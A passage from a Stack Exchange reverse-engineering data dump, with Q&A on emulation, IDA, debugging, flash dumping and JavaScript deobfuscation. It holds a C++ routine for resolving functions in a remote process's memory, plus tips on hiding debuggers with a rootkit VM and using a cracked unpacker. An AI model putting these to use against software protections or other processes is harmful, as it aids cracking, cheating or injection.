mu.hook_add(UC_HOOK_CODE, hook_code, md)&#xA;&#xA;    print(&quot;Initial state:&quot;)&#xA;&#xA;    try:&#xA;        # emulate machine code in infinite time&#xA;        mu.emu_start(ADDRESS, ADDRESS + len(CODE))&#xA;    except UcError as e:&#xA;        print(&quot;ERROR: %s&quot; % e)&#xA;&#xA;    # final state&#xA;    print(&quot;RAX = 0x%x&quot; % mu.reg_read(UC_X86_REG_RAX))&#xA;    print(&quot;RDX = 0x%x&quot; % mu.reg_read(UC_X86_REG_RDX))&#xA;    print(&quot;\n&amp;gt;&amp;gt;&amp;gt;Emulation complete.&quot;)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    emulate()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2020-01-10T17:54:38.990" LastActivityDate="2020-01-10T17:54:38.990" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22937" PostTypeId="2" ParentId="22558" CreationDate="2020-01-07T22:13:20.697" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of early December Ghidra has RISC-V support in master.  It should be added to the 9.2 release, until then you would have to build from source.&lt;/p&gt;&#xA;" OwnerUserId="30695" LastActivityDate="2020-01-07T22:13:20.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22938" PostTypeId="2" ParentId="22917" CreationDate="2020-01-07T22:14:58.407" Score="1" Body="&lt;p&gt;If you don't have the &lt;code&gt;GetProcAddress()&lt;/code&gt; function, you have to iterate entire export table, here a example how i made it in the past...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;template&amp;lt;typename INTH_T&amp;gt;&#xA;NTSTATUS GetRemoteProcAddressArch(HANDLE hProcess, HMODULE ModuleHandle, LPCSTR RoutineName, PULONG_PTR hRoutine)&#xA;{&#xA;&#xA;    HMODULE hModule = GetModuleHandleA(&quot;Ntdll.dll&quot;);&#xA;&#xA;    if(!hModule)&#xA;        hModule = LoadLibraryA(&quot;Ntdll.dll&quot;);&#xA;&#xA;    NTSTATUS Result = STATUS_UNSUCCESSFUL;&#xA;&#xA;    if(hModule)&#xA;    {&#xA;        NTSTATUS(WINAPI*ZwReadVirtualMemory)&#xA;        (&#xA;            HANDLE ProcessHandle,&#xA;            PVOID BaseAddress,&#xA;            PVOID Buffer,&#xA;            SIZE_T NumberOfBytesToRead,&#xA;            PSIZE_T NumberOfBytesReaded&#xA;        ) = reinterpret_cast&amp;lt;NTSTATUS(WINAPI*)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T)&amp;gt;(GetProcAddress(hModule, &quot;ZwReadVirtualMemory&quot;));&#xA;&#xA;&#xA;        if(ZwReadVirtualMemory)&#xA;        {&#xA;            const size_t rLength = strlen(RoutineName);&#xA;            char* rNameSz = new char[rLength + 1] { 0 };&#xA;&#xA;&#xA;            if(ModuleHandle)&#xA;            {&#xA;                PIMAGE_DOS_HEADER iDos = reinterpret_cast&amp;lt;PIMAGE_DOS_HEADER&amp;gt;(ModuleHandle);&#xA;                SIZE_T BytesReaded = NULL;&#xA;                LONG PEHeaderVirtualAddress = NULL; // same both x86 and x64, shuldn't be problem...&#xA;                NTSTATUS rResult = ZwReadVirtualMemory(hProcess, reinterpret_cast&amp;lt;PVOID&amp;gt;(&amp;amp;iDos-&amp;gt;e_lfanew), &amp;amp;PEHeaderVirtualAddress, sizeof(LONG), &amp;amp;BytesReaded);&#xA;&#xA;                if(rResult == STATUS_SUCCESS)&#xA;                {&#xA;                    INTH_T* PEHeader = reinterpret_cast&amp;lt;INTH_T*&amp;gt;(PEHeaderVirtualAddress + reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(ModuleHandle));&#xA;&#xA;                    ULONG ImageExportDirectoryVirtualAddress = NULL; // same both x86 and x64&#xA;                    BytesReaded = NULL;&#xA;                    rResult = ZwReadVirtualMemory(hProcess, reinterpret_cast&amp;lt;PVOID&amp;gt;(&amp;amp;PEHeader-&amp;gt;OptionalHeader.DataDirectory[0]), &amp;amp;ImageExportDirectoryVirtualAddress, sizeof(ULONG), &amp;amp;BytesReaded);&#xA;&#xA;                    if(rResult == STATUS_SUCCESS)&#xA;                    {&#xA;                        PIMAGE_EXPORT_DIRECTORY nED = reinterpret_cast&amp;lt;PIMAGE_EXPORT_DIRECTORY&amp;gt;(reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(ModuleHandle) + ImageExportDirectoryVirtualAddress);&#xA;                        IMAGE_EXPORT_DIRECTORY ed = { 0 };&#xA;&#xA;&#xA;                        BytesReaded = NULL;&#xA;                        if(ZwReadVirtualMemory(hProcess, reinterpret_cast&amp;lt;PVOID&amp;gt;(nED), &amp;amp;ed, sizeof(IMAGE_EXPORT_DIRECTORY), &amp;amp;BytesReaded) == STATUS_SUCCESS)&#xA;                        {&#xA;&#xA;                            PDWORD rvaNames = reinterpret_cast&amp;lt;PDWORD&amp;gt;(reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(ModuleHandle) + static_cast&amp;lt;ULONG_PTR&amp;gt;(ed.AddressOfNames));&#xA;                            PDWORD rvaFunctions = reinterpret_cast&amp;lt;PDWORD&amp;gt;(reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(ModuleHandle) + static_cast&amp;lt;ULONG_PTR&amp;gt;(ed.AddressOfFunctions));&#xA;                            PWORD rvaOrdinals = reinterpret_cast&amp;lt;PWORD&amp;gt;(reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(ModuleHandle) + static_cast&amp;lt;ULONG_PTR&amp;gt;(ed.AddressOfNameOrdinals)); &#xA;&#xA;&#xA;                            for(DWORD i = 0; i &amp;lt; ed.NumberOfFunctions; i++)&#xA;                            {&#xA;                                BytesReaded = NULL;&#xA;                                DWORD rva = NULL;&#xA;                                if(ZwReadVirtualMemory(hProcess, reinterpret_cast&amp;lt;PVOID&amp;gt;(&amp;amp;rvaNames[i]), &amp;amp;rva, sizeof(DWORD), &amp;amp;BytesReaded) == STATUS_SUCCESS)&#xA;                                {&#xA;                                    BytesReaded = NULL;&#xA;                                    if(ZwReadVirtualMemory(hProcess, reinterpret_cast&amp;lt;PVOID&amp;gt;(reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(ModuleHandle) + static_cast&amp;lt;ULONG_PTR&amp;gt;(rva)), reinterpret_cast&amp;lt;PVOID&amp;gt;(const_cast&amp;lt;LPSTR&amp;gt;(rNameSz)), rLength, &amp;amp;BytesReaded) == STATUS_SUCCESS)&#xA;                                    {&#xA;                                        if(!ncstrncmp(rNameSz, RoutineName, rLength))&#xA;                                        {&#xA;                                            BytesReaded = NULL;&#xA;                                            WORD rvaOrdinal = NULL;&#xA;&#xA;                                            if(ZwReadVirtualMemory(hProcess, reinterpret_cast&amp;lt;PVOID&amp;gt;(&amp;amp;rvaOrdinals[i]), &amp;amp;rvaOrdinal, sizeof(WORD), &amp;amp;BytesReaded) == STATUS_SUCCESS)&#xA;                                            {&#xA;                                                BytesReaded = NULL;&#xA;                                                rva = NULL;&#xA;&#xA;                                                if(ZwReadVirtualMemory(hProcess, reinterpret_cast&amp;lt;PVOID&amp;gt;(&amp;amp;rvaFunctions[rvaOrdinal]), &amp;amp;rva, sizeof(DWORD), &amp;amp;BytesReaded) == STATUS_SUCCESS)&#xA;                                                {&#xA;                                                    *hRoutine = (static_cast&amp;lt;ULONG_PTR&amp;gt;(rva) + reinterpret_cast&amp;lt;ULONG_PTR&amp;gt;(ModuleHandle));&#xA;                                                    Result = STATUS_SUCCESS;            &#xA;                                                }&#xA;                                            }&#xA;                                            break;&#xA;                                        }       &#xA;                                    }&#xA;                                }&#xA;                            }                   &#xA;                        }               &#xA;                    }&#xA;                }&#xA;            }&#xA;            delete[] rNameSz;&#xA;        }&#xA;    }   &#xA;    return Result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;usage example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto hProcess = OpenProcess( ... );&#xA;auto possibleHandle = RemoteHandleFrom(hProcess, &quot;ntdll.dll&quot;); // i owe you, but you can find it in the msdn, there's a lot examples...&#xA;ULONG_PTR addr = NULL;&#xA;GetRemoteProcAddressArch&amp;lt;IMAGE_NT_HEADERS64&amp;gt;(hProccess, possibleHandle, &quot;ZwOpenProcess&quot;, &amp;amp;addr );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17950" LastActivityDate="2020-01-07T22:14:58.407" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22940" PostTypeId="1" CreationDate="2020-01-08T03:38:15.063" Score="1" ViewCount="362" Body="&lt;p&gt;I'm currently learning to use IDAPython for automated analysing on many binaries. Some binaries load memory address into register by adding base address with offset, that idautils.XrefsTo() cannot detect. In example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7gyu3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7gyu3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r8IWS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r8IWS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, IDA-View can detect that reference kind. My question is, is there any other IDAPython api can detect that, or anyone knows the script behind IDA-View which can do that? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="30698" LastEditorUserId="30698" LastEditDate="2020-01-08T13:40:06.490" LastActivityDate="2020-05-10T03:01:18.200" Title="IDAPython api which get indirect memory address reference" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22941" PostTypeId="2" ParentId="19876" CreationDate="2020-01-08T06:13:10.400" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;I would try to determine the OOP language it was written there might be tools/IDA scripts to help with static analysis&lt;/li&gt;&#xA;&lt;li&gt;I have found the easiest way to reverse this kind of app is using time travel debugging trace (or similar) On Windows platform this is achieved by downloading WinDbg Preview from Windows 10 store. Once downloaded you can copy the files and run them without install to a machine without windows store if required. More info is available at &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview&quot; rel=&quot;nofollow noreferrer&quot;&gt;Time Travel&lt;/a&gt; documentation. These traces once generated you can then step backwards/forwards instruction by instruction or to breakpoints. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example I used this command to show the time travel position for all text written to a file I could then click the hyperlink generated to go to exact register/thread/memory state when that text was written to file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bp kernel32!WriteFile &quot;!position;.printf \&quot;%mu\&quot;,@rdx;g&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To go forwards use &lt;code&gt;g&lt;/code&gt; command, to go backwards &lt;code&gt;g-&lt;/code&gt;, to step single instruction forward &lt;code&gt;t&lt;/code&gt; and step instruction backwards &lt;code&gt;t-&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Also consider identifying the anti debugging technique used then hide from it, some examples &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2082/debugger-hiding-plugin-for-windbg&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="27706" LastEditDate="2020-01-08T09:55:49.077" LastActivityDate="2020-01-08T09:55:49.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22942" PostTypeId="2" ParentId="22927" CreationDate="2020-01-08T07:55:18.703" Score="0" Body="&lt;p&gt;Firstly you would like to know if someone has already implemented the required protocol to read that flash memory model. You should try to search on your favorite engine queries like &quot;'model' dump&quot; or &quot;dumping 'model' with buspirate&quot; , where 'model' IS the name of your chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot find anything, you Will have to do It by yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just searched for &quot;MX25L1606E datasheet&quot; and i found, in the first result, all the needed details about your particular chip: &lt;a href=&quot;https://www.google.es/url?sa=t&amp;amp;source=web&amp;amp;rct=j&amp;amp;url=https://www.macronix.com/Lists/Datasheet/Attachments/7465/MX25L1606E,%25203V,%252016Mb,%2520v1.9.pdf&amp;amp;ved=2ahUKEwikqZ6DwfPmAhUDDewKHbtZBTUQFjAAegQIBRAB&amp;amp;usg=AOvVaw2RuJPF7rRLWzADjhovrUpM&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;datasheet&quot;&gt;datasheet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can find that It uses the SPI protocol, and the supported commands (READ, WRITE, etc) as well as others that may be important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need a hardware that can speak that protocol. Bus pirate is great and has documentation. You just need to read the datasheet to discover which SPI Mode is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also repurpose an Arduino UNO or Arduino UNO clone board (or any more powerful Arduino version). Arduino UNO can speak SPI. As an example, I did that to read the &lt;a href=&quot;https://github.com/pedro-javierf/dsaver&quot; rel=&quot;nofollow noreferrer&quot;&gt;SPI flash of Nintendo DS cartridges&lt;/a&gt; for example. You would like to use the ICSP pins of the Arduino to connect to your memory, send commands and receive data, store it into the arduino memory, and send it to your PC over the serial connection of the Arduino.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that Arduino (UNO) boards have little memory available, so you need to read the memory in smaller chunks.&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="16407" LastEditDate="2020-01-10T17:45:19.830" LastActivityDate="2020-01-10T17:45:19.830" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22944" PostTypeId="2" ParentId="19876" CreationDate="2020-01-08T09:53:16.660" Score="1" Body="&lt;p&gt;It depends on what you are trying to achieve:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;source code extraction (say to replicate it with minor modifications)&lt;/li&gt;&#xA;&lt;li&gt;program patching&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For the first case, I normally try to use a non invasive debugger attached after suspending the process. If this does not work, I dump the whole process with &lt;code&gt;SysInternals&lt;/code&gt; &lt;code&gt;Process Explorer&lt;/code&gt; or &lt;code&gt;WinDbg&lt;/code&gt; after suspending the process. The I use &lt;code&gt;Ghidra&lt;/code&gt; do analyze the whole dump. I noted that &lt;code&gt;IDA&lt;/code&gt; has issues in analyzing those dumps (sometimes peculiar parts are not detected) but you can combine them. This would give you the ability to analyze the code. If the code is self modifying you should use the second approach.&lt;/p&gt;&#xA;&lt;p&gt;For the second case (and as last resort) I use a specially modified VM to remotely debug the application in non invasive mode. The VM is crafted with a custom rootkit that hides the processes you want (in particular, debuggers), this way you can debug the whole system in kernel mode without being detected.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastEditorUserId="245" LastEditDate="2022-05-28T20:58:02.343" LastActivityDate="2022-05-28T20:58:02.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22945" PostTypeId="2" ParentId="21817" CreationDate="2020-01-08T11:24:56.660" Score="4" Body="&lt;p&gt;You can give &lt;a href=&quot;https://retdec.com/idaplugin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://retdec.com/idaplugin/&lt;/a&gt; a try. I've heard it can decompile larger functions without much error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to them it supports decompiling a whole binary file. So it possibly could decompile this function without much hesitation. Although I can't promise anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck! :-)&lt;/p&gt;&#xA;" OwnerUserId="30451" LastActivityDate="2020-01-08T11:24:56.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22946" PostTypeId="1" AcceptedAnswerId="22948" CreationDate="2020-01-08T14:39:26.683" Score="0" ViewCount="576" Body="&lt;p&gt;There is an &lt;strong&gt;application&lt;/strong&gt; that has been &lt;strong&gt;obfuscation&lt;/strong&gt; to learn. So in an unpack me style. In the first stage I would unpack with de4dot. &lt;strong&gt;After&lt;/strong&gt; you unpack, the running application &lt;strong&gt;stops&lt;/strong&gt; working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dump and then again when I want to do the same process again stops working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when I want to &lt;strong&gt;fix&lt;/strong&gt; it with &lt;strong&gt;Universal_Fix&lt;/strong&gt;, a result &lt;strong&gt;doesn't&lt;/strong&gt; change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I look at the application with &lt;strong&gt;dnSpy&lt;/strong&gt;, there is no problem. Codes can be read. It remains stuck in the &lt;strong&gt;main&lt;/strong&gt; &lt;strong&gt;function&lt;/strong&gt; when I want to run it. And it returns the following error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/niyRS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/niyRS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's where he hangs out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3schy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3schy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error returning when I want to continue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I apologize for my bad English.&lt;/p&gt;&#xA;" OwnerUserId="30703" LastActivityDate="2020-01-11T01:19:26.537" Title="Error After de4dot - Application Does Not Start" Tags="|obfuscation|deobfuscation|de4dot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22947" PostTypeId="2" ParentId="13526" CreationDate="2020-01-08T15:57:42.027" Score="0" Body="&lt;p&gt;I did not have the latest release of WinDbg but while debugging a 32-bit EXE, adding the WinDbgx64 directory to the PATH environment solved this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works as well with remote Windbg.&lt;/p&gt;&#xA;" OwnerUserId="30705" LastActivityDate="2020-01-08T15:57:42.027" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22948" PostTypeId="2" ParentId="22946" CreationDate="2020-01-08T16:27:47.067" Score="0" Body="&lt;p&gt;I've completed the process with a fixed version of de4dot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixed version:&lt;a href=&quot;https://board.b-at-s.info/index.php?/topic/9731-de4dot-cryptophoenixreactor-fixed-by-ivancitooz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;fixed by ivancitooz&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30703" LastEditorUserId="30703" LastEditDate="2020-01-11T01:19:26.537" LastActivityDate="2020-01-11T01:19:26.537" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22949" PostTypeId="1" CreationDate="2020-01-08T17:20:10.083" Score="1" ViewCount="1351" Body="&lt;p&gt;Lets say you have android1.apk file coded with proguard enable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to reverse engineer it in such a way that it shows the original methods names instead letters of alphabets, example bellow &lt;/p&gt;&#xA;&#xA;&lt;p&gt;public void setName()&#xA;{&lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On android1.apk file that was coded with proguard enabled, once you reverse engineer the apk, you will get the java code in the format bellow: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;public void a()&#xA;{&lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a() being setName()&lt;/p&gt;&#xA;" OwnerUserId="30693" LastActivityDate="2020-01-31T17:43:46.597" Title="How to reverse engineering a proguarded .apk?" Tags="|disassembly|android|apk|dalvik|" AnswerCount="1" CommentCount="0" ClosedDate="2020-01-31T08:24:21.833" ContentLicense="CC BY-SA 4.0" />
  <row Id="22950" PostTypeId="2" ParentId="22949" CreationDate="2020-01-08T17:52:43.100" Score="5" Body="&lt;p&gt;Without the proguard mapping, this is not possible. That information is simply no longer contained in the dex file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best you could do would be to manually rename the methods, etc. with your own names.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastEditorUserId="8063" LastEditDate="2020-01-31T17:43:46.597" LastActivityDate="2020-01-31T17:43:46.597" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22952" PostTypeId="1" CreationDate="2020-01-08T21:47:20.260" Score="0" ViewCount="793" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bzFIr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bzFIr.png&quot; alt=&quot;Screenshot of the breakpoint options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the condition. It is supposed to break only when the R2 is 40, but it breaks in any call to this instruction. I'm using IDA Pro 7.2.181105, debugging with Remote GDB Debugger, an ARMv4T code. I'm completely beginner with IDA Pro. &lt;/p&gt;&#xA;" OwnerUserId="30710" LastActivityDate="2022-01-26T00:27:46.197" Title="IDA Pro ignores condition in breakpoint" Tags="|ida|disassembly|debugging|gdb|breakpoint|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22954" PostTypeId="2" ParentId="22952" CreationDate="2020-01-09T06:59:53.917" Score="2" Body="&lt;p&gt;You need to change the Actions from &quot;Trace&quot; to &quot;Break&quot; When the condition is true the action will execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AMrCY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AMrCY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-01-09T06:59:53.917" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22955" PostTypeId="1" AcceptedAnswerId="26813" CreationDate="2020-01-09T13:45:31.473" Score="2" ViewCount="399" Body="&lt;p&gt;While trying to decompile an application with Hex-Ray 7.0, I stumbled upon the problem that in nearly all cases, what seems to be a certain inline function will not be recognised, which bloats the code base and makes it really hard to read.&#xA;The function seems to be strcpy or something similar. Is there a way to have the Decompiler change the mentioned parts to an inline function? Or can I do it manually somehow?&#xA;Here's a screenshot to illustrate my issue:&lt;a href=&quot;https://i.stack.imgur.com/D1Hiw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D1Hiw.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks a lot in advance!&lt;/p&gt;&#xA;" OwnerUserId="30305" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2021-01-18T06:28:51.763" Title="Hex-Ray Decompiler: inline function not recognized" Tags="|ida|hexrays|decompiler|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22956" PostTypeId="1" AcceptedAnswerId="22958" CreationDate="2020-01-09T14:39:19.887" Score="1" ViewCount="304" Body="&lt;p&gt;i have this code i'm trying to deobfuscate&#xA;&lt;a href=&quot;https://pastebin.com/g5mHpWE4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/g5mHpWE4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used&#xA;&lt;a href=&quot;https://beautifier.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://beautifier.io/&lt;/a&gt; and&#xA;&lt;a href=&quot;http://www.jsnice.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.jsnice.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the result is still not good, current code:&#xA;&lt;a href=&quot;https://pastebin.com/whfqanxx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/whfqanxx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;much remains coded&#xA;example: &lt;code&gt;window [$ (&quot; 0x128 &quot;)] [$ (&quot; 0x11 &quot;)] [$ (&quot; 0x7 &quot;)]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to leave this code 100% clean?&lt;/p&gt;&#xA;" OwnerUserId="30715" LastActivityDate="2020-01-13T07:56:28.263" Title="Is it possible to completely reverse this code?" Tags="|obfuscation|deobfuscation|javascript|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22957" PostTypeId="2" ParentId="21173" CreationDate="2020-01-09T22:38:45.817" Score="5" Body="&lt;p&gt;Almost static address can be achieved when the developer use global or static variables.&lt;/p&gt;&#xA;&lt;p&gt;While this was somewhat popular in the old days, today it is very rare and also considered a bad practice. Furthermore, features like ASLR are used to prevent an observer to exploit known static variables by relocating the image at a random address (details omitted as not pertaining this question).&lt;/p&gt;&#xA;&lt;p&gt;Well designed software minimizes the use of global variables, but they cannot be removed altogether. Some software, may have references to singleton in global variables, others might have passed those references from one function to another.&lt;/p&gt;&#xA;&lt;p&gt;Dealing with. NET binaries simplifies the matter, but does not change the fact that your data can be allocated at different addresses everytime.&lt;/p&gt;&#xA;&lt;p&gt;To find the information you need, start by debugging the game when you actively perform an action (e.g. Sell, trade, or ecc..) and try to identify what is changed. If assuming there are no antidebugging measures, you will see where your data is manipulated. From there you can trace back where your data has been created and follow back to the root allocator. At that point you have many opportunities ranging from being able to follow the allocation chain at runtime, up to walking the managed heap for the single instance of a particular type.&lt;/p&gt;&#xA;" OwnerUserId="27706" LastEditorUserId="27706" LastEditDate="2023-03-17T08:16:16.133" LastActivityDate="2023-03-17T08:16:16.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22958" PostTypeId="2" ParentId="22956" CreationDate="2020-01-10T08:12:28.063" Score="3" Body="&lt;p&gt;Having such code the first thing to do is to analyze what part is the obfuscation algorithm and what's the actual code. Here' it's not that difficult as all the code is on top. So let's analyze it step by step:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var norm = [&quot;cookie&quot;, &quot;toUTCString&quot;,...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;defines an array with string that will be used in the application. Having them in an array and not in the code makes the code more difficult for human to understand but the machine will still managed to parse the code correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we have an array...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's next? Following the array there's this function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function(value, count) {&#xA; var fn = function(selected_image) {&#xA;   for (; --selected_image;) {&#xA;     value[&quot;push&quot;](value[&quot;shift&quot;]());&#xA;   }&#xA; };&#xA; fn(++count);&#xA;})(norm, 144);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it does it creates a function that can shuffle an array and in the last line &lt;code&gt;(norm, 144)&lt;/code&gt; it is being executed with our aforementioned array of strings and the constant value of &lt;code&gt;144&lt;/code&gt; that will be used to count the number of rounds of the shuffling (&lt;code&gt;+1&lt;/code&gt; -&gt; &lt;code&gt;fn(++count)&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after this we no longer know the order of string in our defined array &lt;code&gt;norm&lt;/code&gt;. In order to know it we would have to execute those two instructions (&lt;strong&gt;it might be dangerous if you don't understand what your are doing&lt;/strong&gt;) or mimic similar behavior in another language and get the result. (&lt;code&gt;[&quot;object&quot;, &quot;exports&quot;, &quot;./IPv6&quot;,...]&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now comes the third part of the obfuscation - this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $ = function(i, fn) {&#xA;  i = i - 0;&#xA;  var id = norm[i];&#xA;  return id;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It simply defines a function named &lt;code&gt;$&lt;/code&gt; that, when passed an argument &lt;code&gt;i&lt;/code&gt; returns the string from our shuffled array &lt;code&gt;norm&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now comes the actual code part. Whenever you see code like this &lt;code&gt;$(&quot;0x1b1&quot;)&lt;/code&gt; you would have to replace it by running (or simulating) the call to function &lt;code&gt;$&lt;/code&gt; with the argument and get the result. In this case it would be for &lt;code&gt;0x1b1 = &quot;hxxps://www.bitonclick.com/jump/next.php?r=1967903&quot;&lt;/code&gt; (without xx - a proper address) and for example for &lt;code&gt;$(&quot;0x114&quot;) = &quot;FuckAdBlock&quot;&lt;/code&gt;. And so 